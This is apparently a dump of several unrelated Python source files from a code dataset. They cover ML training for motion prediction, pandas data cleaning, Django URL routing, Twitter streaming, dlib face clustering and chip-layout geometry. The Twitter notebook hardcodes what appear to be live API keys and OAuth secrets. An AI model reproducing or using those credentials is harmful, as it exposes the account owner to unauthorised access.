torch.cuda.is_available() else \"cpu\")\r\n\r\nDIR_INPUT = \"../lyft-motion-prediction-autonomous-vehicles\"\r\nSINGLE_MODE_SUBMISSION = f\"{DIR_INPUT}/single_mode_sample_submission.csv\"\r\nMULTI_MODE_SUBMISSION = f\"{DIR_INPUT}/multi_mode_sample_submission.csv\"\r\n\r\nDEBUG = False\r\n\r\ncfg = {\r\n 'format_version': 4,\r\n 'model_params': {\r\n 'model_architecture': 'resnet50',\r\n 'history_num_frames': 30,\r\n 'history_step_size': 1,\r\n 'history_delta_time': 0.1,\r\n 'future_num_frames': 50,\r\n 'future_step_size': 1,\r\n 'future_delta_time': 0.1\r\n },\r\n \r\n 'raster_params': {\r\n 'raster_size': [300, 300], ## [384, 128]\r\n 'pixel_size': [0.4, 0.4], ## 0.5 0.5\r\n 'ego_center': [0.25, 0.5],\r\n 'map_type': 'py_semantic',\r\n 'satellite_map_key': 'aerial_map/aerial_map.png',\r\n 'semantic_map_key': 'semantic_map/semantic_map.pb',\r\n 'dataset_meta_key': 'meta.json',\r\n 'filter_agents_threshold': 0.5\r\n },\r\n \r\n 'train_data_loader': {\r\n 'key': 'scenes/train.zarr',\r\n 'batch_size': 32,\r\n 'shuffle': True,\r\n 'num_workers': 16,\r\n },\r\n \r\n 'test_data_loader': {\r\n 'key': 'scenes/test.zarr',\r\n 'batch_size': 14,\r\n 'shuffle': True,\r\n 'num_workers': 8,\r\n },\r\n \r\n 'val_data_loader': {\r\n 'key': 'scenes/validate.zarr',\r\n 'batch_size': 4,\r\n 'shuffle': True,\r\n 'num_workers': 0,\r\n },\r\n \r\n 'train_params': {\r\n 'max_num_steps': 100 if DEBUG else 500000,\r\n 'checkpoint_every_n_steps': 5000,\r\n \r\n # 'eval_every_n_steps': -1\r\n }\r\n}\r\n\r\n# set env variable for data\r\nos.environ[\"L5KIT_DATA_FOLDER\"] = DIR_INPUT\r\n\r\nclass CheckpointEveryNSteps(pl.Callback):\r\n \"\"\"\r\n Save a checkpoint every N steps, instead of Lightning's default that checkpoints\r\n based on validation loss.\r\n \"\"\"\r\n\r\n def __init__(\r\n self,\r\n save_step_frequency,\r\n prefix=\"600px_b1\",\r\n use_modelcheckpoint_filename=False,\r\n ):\r\n \"\"\"\r\n Args:\r\n save_step_frequency: how often to save in steps\r\n prefix: add a prefix to the name, only used if\r\n use_modelcheckpoint_filename=False\r\n use_modelcheckpoint_filename: just use the ModelCheckpoint callback's\r\n default filename, don't use ours.\r\n \"\"\"\r\n self.save_step_frequency = save_step_frequency\r\n self.prefix = prefix\r\n self.use_modelcheckpoint_filename = use_modelcheckpoint_filename\r\n\r\n def on_batch_end(self, trainer: pl.Trainer, _):\r\n \"\"\" Check if we should save a checkpoint after every train batch \"\"\"\r\n epoch = trainer.current_epoch\r\n global_step = trainer.global_step\r\n if global_step % self.save_step_frequency == 0:\r\n if self.use_modelcheckpoint_filename:\r\n filename = trainer.checkpoint_callback.filename\r\n else:\r\n filename = f\"{self.prefix}_{epoch}_{global_step}.ckpt\"\r\n ckpt_path = os.path.join(trainer.checkpoint_callback.dirpath, filename)\r\n trainer.save_checkpoint(ckpt_path)\r\n\r\n\r\n###\r\n\r\nclass LyftModel(pl.LightningModule):\r\n def __init__(self, cfg: Dict, learning_rate = 0.0003, num_modes=3):\r\n super().__init__()\r\n\r\n self.learning_rate = learning_rate\r\n ## c\r\n num_history_channels = (cfg[\"model_params\"][\"history_num_frames\"] + 1) * 2\r\n num_in_channels = 3 + num_history_channels\r\n # X, Y coords for the future positions (output shape: Bx50x2)\r\n self.future_len = cfg[\"model_params\"][\"future_num_frames\"]\r\n num_targets = 2 * self.future_len\r\n self.num_preds = num_targets * num_modes\r\n self.num_modes = num_modes\r\n \r\n self.effnet0 = EfficientNet.from_pretrained('efficientnet-b1', in_channels=65, num_classes=self.num_preds + num_modes,)\r\n\r\n def forward(self, images):\r\n ## road\r\n x = self.effnet0(images)\r\n # pred (bs)x(modes)x(time)x(2D coords)\r\n # confidences (bs)x(modes)\r\n bs, _ = x.shape\r\n tl = self.future_len\r\n\r\n pred, confidences = torch.split(x, self.num_preds, dim=1)\r\n pred = pred.view(bs, self.num_modes, self.future_len, 2)\r\n assert confidences.shape == (bs, self.num_modes)\r\n confidences = torch.softmax(confidences, dim=1)\r\n return pred, confidences\r\n\r\n def training_step(self, batch, batch_idx):\r\n data = batch\r\n inputs = batch[\"image\"]#.to(device)\r\n target_availabilities = data[\"target_availabilities\"]#.to(device)\r\n targets = data[\"target_positions\"]#.to(device)\r\n pred, confidences = self(inputs)\r\n ## back\r\n ## TODO: log learning rate\r\n loss = pytorch_neg_multi_log_likelihood_batch(targets, pred, confidences, target_availabilities)\r\n #result = pl.TrainResult(loss)\r\n self.log('train_loss', loss, on_epoch=True)\r\n return loss\r\n\r\n def configure_optimizers(self):\r\n optimizer = torch.optim.AdamW(self.parameters(), lr=0.0001, weight_decay=10e-5)\r\n return [optimizer]\r\n\r\nif __name__ == '__main__':\r\n\r\n ## MAIN TRAINING_SCRIPT ##\r\n \r\n\r\n callbacks = [LearningRateMonitor(logging_interval='step'), \r\n CheckpointEveryNSteps(prefix='b1_300px_65frame', save_step_frequency=1000)]\r\n\r\n train_dataset = MotionPredictDataset(cfg)\r\n train_cfg = cfg['train_data_loader']\r\n train_loader = DataLoader(train_dataset, batch_size=train_cfg['batch_size'], \r\n num_workers=train_cfg['num_workers'], shuffle=train_cfg['shuffle'], \r\n pin_memory=True)\r\n\r\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n model = LyftModel(cfg)#.to(device)\r\n\r\n ckpt_path = \"65frame/lightning_logs/version_4/checkpoints/b1_300px_65frame_10_167000.ckpt\"\r\n #ckpt = torch.load(ckpt_path, map_location=\"cpu\")\r\n #model.load_state_dict(ckpt['state_dict'])\r\n \r\n # model.effnet0._conv_stem = Conv2dStaticSamePadding(65, 32, kernel_size=(3, 3), stride=(2, 2), bias=False, image_size=(300, 300))\r\n # print(model.effnet0)\r\n # print(f\"From {ckpt_path}\")\r\n # \r\n trainer = Trainer(resume_from_checkpoint=ckpt_path, default_root_dir='./65frame', precision=16,max_epochs=100,\r\n gpus=8, distributed_backend='ddp', \r\n callbacks=callbacks)# gradient_clip_val=0.5 # precision=16,, limit_train_batches=0.8) \r\n trainer.fit(model, train_loader)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"480513385","text":"import numpy as np\nimport pandas as pd\nfrom pandas.core.frame import DataFrame\n\n# 显示所有列\npd.set_option('display.max_columns', None)\n# 显示所有行\npd.set_option('display.max_rows', None)\n# 设置数据的显示长度,默认为50\npd.set_option('max_colwidth', 10)\n\n# data = pd.read_excel(\"../spider/t3/多部电影数据.xlsx\")\n# print(data)\n\ndata = pd.read_excel(\"../spider/t3/多部电影数据.xlsx\",\n usecols=['title', 'country', 'language', 'releaseDate', 'average', 'votes', 'genre'])\n# print(data.head(3))\n# 重复处理\n# 判断是否有重复数据 True为重复\nb = data.duplicated()\n# print(b)\n# 去重\ndupl_data = data.drop_duplicates()\n\n# 缺失值处理\n# 判断缺失值 True为缺失\nnan_df = pd.isna(dupl_data)\n# print(nan_df)\n# 填充平均值 dupl_data['average'].mean()\ndupl_data['average'] = dupl_data['average'].fillna(\n value=dupl_data['average'].mean()).round(1)\ndupl_data['votes'] = dupl_data['votes'].fillna(\n value=dupl_data['votes'].mean()).astype(\"int\")\n\n# 分列 expand=True拆分为两列 expand=False 拆分成数组在当前列\n# print(dupl_data['releaseDate'].str.split('(', expand=False))\n# print(dupl_data['releaseDate'].str.split('(', expand=True)[0])\n# 分列出日期\ndupl_data['releaseDate'] = dupl_data['releaseDate'].str.split(\n '(', expand=True)[0]\n\n# print(dupl_data)\ndupl_data.to_excel(\"多部电影数据-洗.xlsx\")\n\n# 分类统计 resample必须是索引数据 Y:按年统计\n# object转成datetime格式\ndupl_data['releaseDate'] = pd.to_datetime(dupl_data['releaseDate'])\n# 替换索引\ndupl_data = dupl_data.set_index(dupl_data['releaseDate'])\ndata_year_tj = dupl_data['releaseDate'].resample('Y').count()\n# print(data_year_tj)\ndata_year_tj.to_excel(\"多部电影数据-年份统计.xlsx\")\n\n# 类型统计\n# 去掉[]\ndupl_data['genre'] = dupl_data['genre'].str.strip(']')\ndupl_data['genre'] = dupl_data['genre'].str.strip('[')\ngenreList = []\nfor g in dupl_data['genre']:\n gList = g.split(',')\n for label in gList:\n genreList.append(label.replace('\\'', '').strip())\n\ngenreList = list(set(genreList)) # 去重使用set\ngenreList.remove('') # 去空值\n# print(genreList)\ndata_genre_tj = pd.DataFrame(\n np.zeros([len(genreList), 1]), index=genreList, columns=['tj'])\n\nfor i in dupl_data['genre']:\n for label in genreList:\n if str(i).__contains__(label):\n # print(\"累加1\" + i)\n data_genre_tj.loc[label, 'tj'] += 1\n\n# print(data_genre_tj)\ndata_genre_tj.to_excel(\"多部电影数据-类型统计.xlsx\")\n\n# 评分统计\n# 查看列数据细节\n# print(dupl_data['average'].describe())\n# 打印结果\n# count 总数量 403.000000\n# mean 平均值 6.667742\n# std 标准差 0.846856\n# min 最小值 4.500000\n# 25% 6.100000\n# 50% 6.700000\n# 75% 7.200000\n# max 最大值 9.300000\n# Name: average, dtype: float64\nx = 4.5\nrateList = []\nwhile x <= 9.3:\n rateList.append(x.__round__(1))\n x += 0.1\n\n# print(rateList)\ndate_rate_tj = pd.DataFrame(\n np.zeros([len(rateList), 1]), index=rateList, columns=['tj'])\n# print(date_rate_tj)\nfor r in data['average']:\n for label in rateList:\n if r == label:\n # print(\"+1\")\n # print(r, label)\n date_rate_tj.loc[label, 'tj'] += 1\n\n# print(date_rate_tj)\ndate_rate_tj.to_excel(\"多部电影数据-评分统计.xlsx\")\n\n\n# 排序\n# print(dupl_data.sort_values('title', ascending=True).head(10))\n# print(dupl_data[['votes', 'average']].sort_values(\n# ['votes', 'average'], ascending=False).head(10))\n\n# 筛选\n# 0-50行数据\n# print(dupl_data.iloc[0:50])\n# 评分大于9.0\n# print(dupl_data.loc[data['average'] >= 9.0])\n# genre和title两列数据\n# print(dupl_data[['genre', 'title']])\n# 满足双重条件\n# print(dupl_data.loc[dupl_data['average'] >= 9.0, ['genre', 'title']])\n\n# 各国每年电影产量\ncountryList = []\nfor g in dupl_data['country']:\n gList = g.split('/')\n for label in gList:\n countryList.append(label.replace('\\'', '').strip())\n\ncountryList = list(set(countryList)) # 去重使用set\n# print(countryList)\n\ncountry_year_tj = pd.DataFrame(dupl_data['releaseDate'].resample('Y').count())\nprint(country_year_tj)\n\nfor label in countryList:\n temp = dupl_data[dupl_data['country'].str.contains(label)]\n # print(\"===========\")\n # print(label) # 标签\n # print(len(temp)) # 频数\n # print(temp[['country', 'title']])\n country_year_tj[label] = temp['releaseDate'].resample('Y').count()\n # print(dataFrame)\n\ncountry_year_tj = country_year_tj.fillna(value=0)\nprint(country_year_tj)\n","sub_path":"开发相关/Python/Basic/Pandas/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":4598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"91720599","text":"from django.views.generic import TemplateView\nfrom rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView\n\n# from connectdata.views import ProfileFullCheckViewSet\nfrom .views import registration, registrationsocial, loginsocial, loginallauth, signallauth, ProfileFullViewAll, \\\n UserUpdateSerializerDetail, xoa, registeruser, checkfunc, GJC_Login\nfrom rest_framework.routers import SimpleRouter\nfrom django.urls import path, re_path, include\n\nfrom .views import ProfileFullViewSet\n\nrouter = SimpleRouter()\nrouter.register(\"ProfileFullViewSet\", ProfileFullViewSet, basename=\"ProfileFullViewSet\")\n# router.register(\"ProfileFullCheckViewSet\", ProfileFullCheckViewSet, basename=\"ProfileFullCheckViewSet\")\n\n\n\nurlpatterns = [\n path(\"\", include(router.urls)),\n path(\"register/\", registration, name=\"register\"),\n path('UserUpdateSerializerDetail/', UserUpdateSerializerDetail.as_view(),\n name='UserUpdateSerializerDetail'),\n path(\"signin/\", TokenObtainPairView.as_view(), name=\"token_obtain_pair\"),\n path(\"refresh/\", TokenRefreshView.as_view(), name=\"token_refresh\"),\n\n # Account\n path('registersocial/', registrationsocial, name='registersocial'),\n path('loginsocial', loginsocial, name=\"loginsocial\"),\n path('', loginallauth, name=\"loginallauth\"),\n path('signallauth/', signallauth, name=\"signallauth\"),\n path('ProfileFullViewAll/', ProfileFullViewAll, name=\"ProfileFullViewAll\"),\n path('Index/', TemplateView.as_view(template_name=\"index.html\")),\n path('xoa/', xoa, name=\"xoa\"),\n path('registeruser/', registeruser, name=\"registeruser\"),\n path('checkfunc/', checkfunc, name=\"checkfunc\"),\n\n path('GJC_Login/', GJC_Login, name=\"GJC_Login\"),\n\n]\n","sub_path":"jwtauth/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"291301740","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"website\"\n\nurlpatterns = [\n path(\"\", views.index, name=\"home\"),\n path(\"students/\", views.students_page_view, name=\"students\"),\n path(\"educators/\", views.educators_page_view, name=\"educators\"),\n path(\"leaders/\", views.leaders_page_view, name=\"leaders\"),\n path(\"users//\", views.user_profile, name=\"user_profile\"),\n path(\"users//edit/\", views.user_edit_view.as_view(), name=\"user_edit\"),\n path(\"projects/\", views.projects_list, name=\"projects_list\"),\n path(\"projects//\", views.project_view, name=\"project_view\"),\n path(\"projects//edit/\", views.project_edit_view.as_view(), name=\"project_edit\"),\n path(\"projects/bypass//\", views.project_view_bypass, name=\"project_view_bypass\"),\n path(\"user/submit_project\", views.submit_project, name=\"submit_project\"),\n path(\"user/actions/hide_project//\", views.hide_project, name=\"hide_project\"),\n path(\"user/actions/approve_project//\", views.approve_project, name=\"approve_project\"),\n path(\"admin/projects_admin\", views.projects_admin, name=\"projects_admin\"),\n]\n\nhandler404 = \"website.views.custom_404\"\n","sub_path":"opensutd_showcase/website/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"622474193","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Twitter\n# \n# Module 6 Assignment 2\n\n# In[54]:\n\n\nfrom twython import Twython\nfrom twython import TwythonStreamer\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom timeit import default_timer as timer\n\n\n# In[55]:\n\n\nAPP_KEY = 'qfSfc5CfXU1ao3z41KMm0HknW'\nAPP_SECRET = 'x3D7bKx4blkwZJum3YwdeVCCUsxpsw7Ntwla3Zqf5RSarFrB08'\nOAUTH_TOKEN = '1097880247746416640-xi2POBosIXH9KbJrjhaalatFIlfDE5'\nOAUTH_TOKEN_SECRET = 'iaBaRCWq5RNZr68Iq4dcAvu3zpdOLOgNbmhmai0l5xeQy'\ntwitter = Twython(APP_KEY,APP_SECRET,OAUTH_TOKEN,OAUTH_TOKEN_SECRET)\n\n\n# In[71]:\n\n\ntweets = []\nclass MyStreamer(TwythonStreamer):\n def on_success(self, data):\n if data['user']['lang'] == 'fr':\n tweets.append(data)\n print(\"Received tweet #\", len(tweets), end = \"\\r\", flush = True)\n if len(tweets) >= 500:\n self.disconnect()\n def on_error(self, status_code, data):\n print(status_code, data)\n self.disconnect()\nstream = MyStreamer(APP_KEY, APP_SECRET, OAUTH_TOKEN, OAUTH_TOKEN_SECRET)\nstart_time = timer()\nprint(\"Starting at:\", start_time)\nstream.statuses.filter(track = '#giletsjaunes')\nend_time = timer()\nprint(\"\\nEnding at:\", end_time)\nprint(\"Elapsed time in seconds: \", end_time - start_time)\n\n\n# In[86]:\n\n\ntweet_stats = []\nfor i in range(len(tweets)):\n if 'retweeted_status' in tweets[i]:\n # the tweet is a retweet\n tweet_stats.append(tweets[i]['retweeted_status']['retweet_count'])\n else:\n tweet_stats.append(0) # this inidicates an original tweet\ndf = pd.Series(tweet_stats)\n\n# make the graph larger than the default size\nfig, ax = plt.subplots()\nfig.set_size_inches(11.7, 8.27) \nax.set(xlabel='Count of re-tweets')\nsns.set_style(\"darkgrid\")\nsns.distplot(df, ax = ax).set_title('Re-tweets about Yellow Jackets')\n\n\n# The Yellow Jackets protest movement has been roiling French society for months. This graph shows the distribution of re-tweets of French-language tweets that contain the text \"#GiletsJaunes\" (French for \"yellow jackets\"). As can be seen, the vast majority of tweets do not get re-tweeted more than a few times, if at all. However, a handful of tweets approach 7,000 retweets. It took about 22 minutes to collect 500 tweets around 4:30PM local time in France.\n\n# In[ ]:\n\n\n\n\n","sub_path":"Module6_Twitter_1.py","file_name":"Module6_Twitter_1.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"364510588","text":"import tensorflow as tf\nfrom Model.NeuralNetwork.RNNCell.DRNNCell2 import DRNNCell\nfrom tensorflow.python.keras.layers import RNN\nfrom Algorithm.Util.StateActionPair import StateActionPair\nimport numpy as np\n\nclass Model():\n def __init__(self,\n sess,\n rnn_unit,\n nn_unit,\n observation_space,\n action_space,\n scope,\n ):\n self.sess = sess\n self.rnn_unit = rnn_unit\n self.nn_unit = nn_unit\n self.scope = scope\n self.observation_space = observation_space\n self.action_space = action_space\n self.output, self.actions, self.init_observation, self.init_state = self.create_network()\n self.target_output = tf.placeholder(tf.float32, [None, self.observation_space])\n # self.init_output = tf.placeholder(tf.float32, [None, self.observation_space])\n self.loss = tf.reduce_mean(tf.square(self.output-self.target_output))\n self.delay_loss = tf.reduce_mean(tf.square(self.init_observation-self.target_output))\n self.update_method = tf.train.AdamOptimizer(3e-6)\n self.update = self.update_method.minimize(self.loss)\n\n def create_network(self):\n with tf.variable_scope(self.scope):\n actions = tf.placeholder(tf.float32, [None, 1, self.action_space])\n init_observation = tf.placeholder(tf.float32, [None, self.observation_space])\n init_state = tf.placeholder(tf.float32, [None, self.rnn_unit])\n cell = DRNNCell(self.observation_space, self.nn_unit)\n rnn = RNN(cell)\n # output = tf.keras.layers.Masking(mask_value=self.mask_value)(actions)\n output = rnn(inputs=actions, initial_state=[init_observation])\n return output, actions, init_observation, init_state\n\n def get_param(self):\n return tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=self.scope)\n\n def get_trainable_param(self):\n return tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=self.scope)\n\n def pad_input(self, data):\n data = tf.keras.preprocessing.sequence.pad_sequences(data, maxlen=self.delay, value=self.mask_value)\n return data\n\n def run(self, pair):\n predicted_state = pair.state\n for action in pair.actions:\n predicted_state = self.sess.run(self.output,feed_dict={\n self.actions : [[action]],\n self.init_observation : [predicted_state]\n })[0]\n pair.set_predicted_state(predicted_state)\n return pair\n\n def train(self, pairs):\n actions, states, next_states = extract(pairs)\n # _ , loss = self.sess.run((self.update, self.loss), feed_dict={\n # self.actions: actions,\n # self.output: predicted_states,\n # self.target_output: target_states,\n # self.init_observation : states,\n # self.init_state : [np.zeros(self.rnn_unit)]\n # })\n # print(self.actions, np.array(actions).shape)\n _ , loss = self.sess.run((self.update, self.loss), feed_dict={\n self.actions: actions,\n self.target_output: next_states,\n self.init_observation : states,\n # self.init_state : [np.zeros(self.rnn_unit)]\n })\n # print(loss)\n return loss\n\ndef extract(pairs):\n actions = list()\n actions += [[pair.action] for pair in pairs]\n states = list()\n states += [pair.state for pair in pairs]\n next_states = list()\n next_states += [pair.next_state for pair in pairs]\n return [actions, states, next_states]","sub_path":"Model/NeuralNetwork/Model4.py","file_name":"Model4.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"225649171","text":"# -*- coding:utf-8 -*-\nimport os\nimport dlib\nimport glob\nimport cv2\nfrom PIL import Image\nimport gc\nimport threading\nimport time\nimport queue\n\n\ntry:\n import face_recognition_models\n\n # 加载检测模型文件\n detector = dlib.get_frontal_face_detector()\n\n # predictor_68_point_model = face_recognition_models.pose_predictor_model_location()\n # pose_predictor_68_point = dlib.shape_predictor(predictor_68_point_model)\n\n shape_predictor_model = face_recognition_models.pose_predictor_five_point_model_location()\n # pose_predictor_5_point = dlib.shape_predictor(predictor_5_point_model)\n shape_detector = dlib.shape_predictor(shape_predictor_model)\n\n # cnn_face_detection_model = face_recognition_models.cnn_face_detector_model_location()\n # cnn_face_detector = dlib.cnn_face_detection_model_v1(cnn_face_detection_model)\n\n face_rec_model = face_recognition_models.face_recognition_model_location()\n # face_encoder = dlib.face_recognition_model_v1(face_recognition_model)\n face_recognizer = dlib.face_recognition_model_v1(face_rec_model)\n\nexcept Exception:\n print(\"Please install `face_recognition_models` with this command before using `face_recognition`:\\n\")\n print(\"pip install git+https://github.com/ageitgey/face_recognition_models\")\n quit()\n\n\n\nq = queue.Queue(50) # 生成一个队列,用来保存“包子”,最大数量为10\n\ndef productor(i):\n # 生产者生产数据路径\n # while True:\n for path, dirs, files in os.walk(root):\n for dir in dirs:\n file_path = os.path.join(path, dir)\n # print(len(os.listdir(root)))\n # print('正在入队:', file_path)\n out_path = os.path.join(output, dir)\n q.put([file_path, out_path])\n\n\ndef consumer(j):\n # 消费者拿到路径进行数据处理\n while not q.empty():\n face_folder, output_folder = q.get()\n print(threading.current_thread().name, '正在出队:', face_folder)\n # 为后面操作方便,建了几个列表\n descriptors = []\n images = []\n # 遍历faces文件夹中所有的图片\n for f in glob.glob(os.path.join(face_folder, \"*.jpg\")):\n # print('Processing file:{}'.format(f))\n # 读取图片\n img = cv2.imread(f)\n # 转换到rgb颜色空间\n img2 = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n # 检测人脸\n dets = detector(img2, 1)\n # print(\"Number of faces detected: {}\".format(len(dets)))\n\n # 遍历所有的人脸\n for index, face in enumerate(dets):\n # 检测人脸特征点\n shape = shape_detector(img2, face)\n # 投影到128D\n face_descriptor = face_recognizer.compute_face_descriptor(img2, shape)\n # 保存相关信息\n descriptors.append(face_descriptor)\n images.append((img2, shape))\n\n # 聚类\n labels = dlib.chinese_whispers_clustering(descriptors, 0.35)\n # print(\"labels: {}\".format(labels))\n num_classes = len(set(labels))\n print(threading.current_thread().name, \"Number of clusters: {}\".format(num_classes))\n\n # 为了方便操作,用字典类型保存\n face_dict = {}\n for i in range(num_classes):\n face_dict[i] = []\n # print face_dict\n for i in range(len(labels)):\n face_dict[labels[i]].append(images[i])\n\n # print face_dict.keys()\n # 遍历字典,保存结果\n # file_len = {}\n for key in face_dict.keys():\n file_dir = os.path.join(output_folder, str(key))\n if not os.path.isdir(file_dir):\n os.makedirs(file_dir, exist_ok=True)\n\n for index, (image, shape) in enumerate(face_dict[key]):\n file_path = os.path.join(file_dir, 'face_' + str(index))\n # print(file_path)\n im = Image.fromarray(image)\n im.save(file_path + '.jpg')\n try:\n del descriptors, face_descriptor, face_folder, file_dir, file_path, image, img, img2, labels, shape, images, dets, face_dict, im\n gc.collect()\n except UnboundLocalError:\n print('local variable referenced before assignment')\n\n\nif __name__ == '__main__':\n root = '/home/linkdata/face_server/daiab/ceshi/out'\n output = '/home/linkdata/face_server/daiab/ceshi/1'\n # threads = []\n # 实例化了3个生产者\n for i in range(1):\n t = threading.Thread(target=productor, args=(i,), daemon=True)\n t.start()\n print('t_start')\n time.sleep(5)\n # 实例化了4个消费者\n for j in range(12):\n # print('v_strat')\n v = threading.Thread(target=consumer, args=(j,))\n v.start()\n # print('v_starting')\n\n","sub_path":"python_scripts/dilb_threads_face.py","file_name":"dilb_threads_face.py","file_ext":"py","file_size_in_byte":4881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"345176397","text":"import os\nimport argparse as ap\nimport configparser as cp\n\n\nclass Options:\n\n def __init__(self):\n\n self.file_types = {\n \"DEFAULT\" : dict(),\n \"BOT\" : {\n \"API_KEY\" : (str, None, \"Telegram bot API key\"),\n \"CHAT_ID\" : (str, None, \"Chat to monitor\"),\n \"FEED_CHAT_ID\" : (str, None, \"Feed chat to forward to\"),\n \"DAEMON\" : (bool, False, \"Detach bot to background\"),\n \"ADMINS\" : (str, None, \"List of user ids that are admins\"),\n \"NO_CHAT_CMD\" : (bool, False, \"Ignore commands from chat\")\n },\n \"TWITTER\" : {\n \"CONSUMER_KEY\" : (str, None, \"Twitter app consumer key\"),\n \"CONSUMER_SECRET\" : (str, None,\n \"Twitter app consumer secret\"),\n },\n \"FORWARD\" : {\n \"FILTERS\" : (str, None, (\"List of matches (regexps) to \"\n \"forward\"))\n },\n }\n\n\n def parse(self):\n\n self.values = self.parse_args()\n self.file_values = self.parse_cfg_file(self.values.config)\n self.check_cfg_file(self.file_values, self.file_types)\n\n\n def parse_args(self):\n\n description = \"\"\"\n Lily Telegram Bot.\n \n Provide some functionality to a Telegram group and associated\n channel. Forwarding, scraping info, and publishing on Telegram.\n \n \"\"\"\n\n cfg_file = \"config.ini\"\n dir_path = os.path.dirname(os.path.realpath(__file__))\n cfg_path = os.path.join(dir_path, cfg_file)\n parser = ap.ArgumentParser(description = description)\n\n parser.add_argument(\"--config\", \"-c\", default = cfg_path,\n help = \"Path to the config file. \"\n \"Default, from the script \"\n \"directory: \" + cfg_file)\n\n parser.add_argument(\"--dumpc\", \"-d\",\n help = \"Dump default config to given \"\n \"file. \")\n\n return parser.parse_args()\n\n\n def parse_cfg_file(self, path):\n\n file_values = cp.ConfigParser(strict = True,\n allow_no_value = True)\n\n with open(path) as cfg_file:\n file_values.read_file(cfg_file)\n\n return file_values\n\n\n def check_cfg_file(self, file_cfg, file_types):\n\n for section_name in file_cfg:\n if file_types.get(section_name) is None:\n raise cp.Error(\"Unrecognized config section: {0}\"\n .format(section_name))\n\n","sub_path":"lily/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"602334841","text":"from typing import Tuple, Union\n\nimport gdspy\nimport numpy as np\nfrom gdspy import clipper\n\nimport gdsfactory as gf\nfrom gdsfactory.component import Component\nfrom gdsfactory.component_layout import Polygon, _parse_layer\nfrom gdsfactory.component_reference import ComponentReference\nfrom gdsfactory.geometry.offset import _crop_edge_polygons, _polygons_to_bboxes\nfrom gdsfactory.types import ComponentOrReference, Int2, LayerSpec\n\n\ndef _boolean_region(\n all_polygons_A,\n all_polygons_B,\n bboxes_A,\n bboxes_B,\n left,\n bottom,\n right,\n top,\n operation=\"and\",\n precision: float = 1e-4,\n):\n \"\"\"Returns boolean for a region.\n\n Taking a region of e.g. size (x, y) which needs to be booleaned,\n this function crops out a region (x, y) large from each set of polygons\n (A and B), booleans that cropped region and returns the result.\n\n Args:\n all_polygons_A : PolygonSet or list of polygons\n Set or list of polygons to be booleaned.\n all_polygons_B : PolygonSet or list of polygons\n Set or list of polygons to be booleaned.\n bboxes_A : list\n List of all polygon bboxes in all_polygons_A\n bboxes_B : list\n List of all polygon bboxes in all_polygons_B\n left : int or float\n The x-coordinate of the lefthand boundary.\n bottom : int or float\n The y-coordinate of the bottom boundary.\n right : int or float\n The x-coordinate of the righthand boundary.\n top : int or float\n The y-coordinate of the top boundary.\n operation : {'not', 'and', 'or', 'xor', 'A-B', 'B-A', 'A+B'}\n Boolean operation to perform.\n precision : float\n Desired precision for rounding vertex coordinates.\n\n Returns:\n polygons_boolean : PolygonSet or list of polygons\n Set or list of polygons with boolean operation applied.\n \"\"\"\n polygons_to_boolean_A = _crop_edge_polygons(\n all_polygons_A, bboxes_A, left, bottom, right, top, precision\n )\n polygons_to_boolean_B = _crop_edge_polygons(\n all_polygons_B, bboxes_B, left, bottom, right, top, precision\n )\n return clipper.clip(\n polygons_to_boolean_A, polygons_to_boolean_B, operation, 1 / precision\n )\n\n\ndef _boolean_polygons_parallel(\n polygons_A, polygons_B, num_divisions=(10, 10), operation=\"and\", precision=1e-4\n):\n \"\"\"Returns boolean on a list of subsections of the original geometry.\n\n Returns list of polygons, with all the booleaned polygons from each subsection.\n\n Args:\n polygons_A : PolygonSet or list of polygons\n Set or list of polygons to be booleaned.\n polygons_B : PolygonSet or list of polygons\n Set or list of polygons to be booleaned.\n num_divisions : array-like[2] of int\n The number of divisions with which the geometry is divided into\n multiple rectangular regions. This allows for each region to be\n processed sequentially, which is more computationally efficient.\n operation : {'not', 'and', 'or', 'xor', 'A-B', 'B-A', 'A+B'}\n Boolean operation to perform.\n precision : float\n Desired precision for rounding vertex coordinates.\n\n \"\"\"\n # Build bounding boxes\n polygons_A = np.asarray(polygons_A)\n polygons_B = np.asarray(polygons_B)\n bboxes_A = _polygons_to_bboxes(polygons_A)\n bboxes_B = _polygons_to_bboxes(polygons_B)\n\n xmin, ymin = np.min(\n [np.min(bboxes_A[:, 0:2], axis=0), np.min(bboxes_B[:, 0:2], axis=0)], axis=0\n )\n xmax, ymax = np.max(\n [np.max(bboxes_A[:, 2:4], axis=0), np.max(bboxes_B[:, 2:4], axis=0)], axis=0\n )\n\n xsize = xmax - xmin\n ysize = ymax - ymin\n xdelta = xsize / num_divisions[0]\n ydelta = ysize / num_divisions[1]\n xcorners = xmin + np.arange(num_divisions[0]) * xdelta\n ycorners = ymin + np.arange(num_divisions[1]) * ydelta\n\n boolean_polygons = []\n for xc in xcorners:\n for yc in ycorners:\n left = xc\n right = xc + xdelta\n bottom = yc\n top = yc + ydelta\n 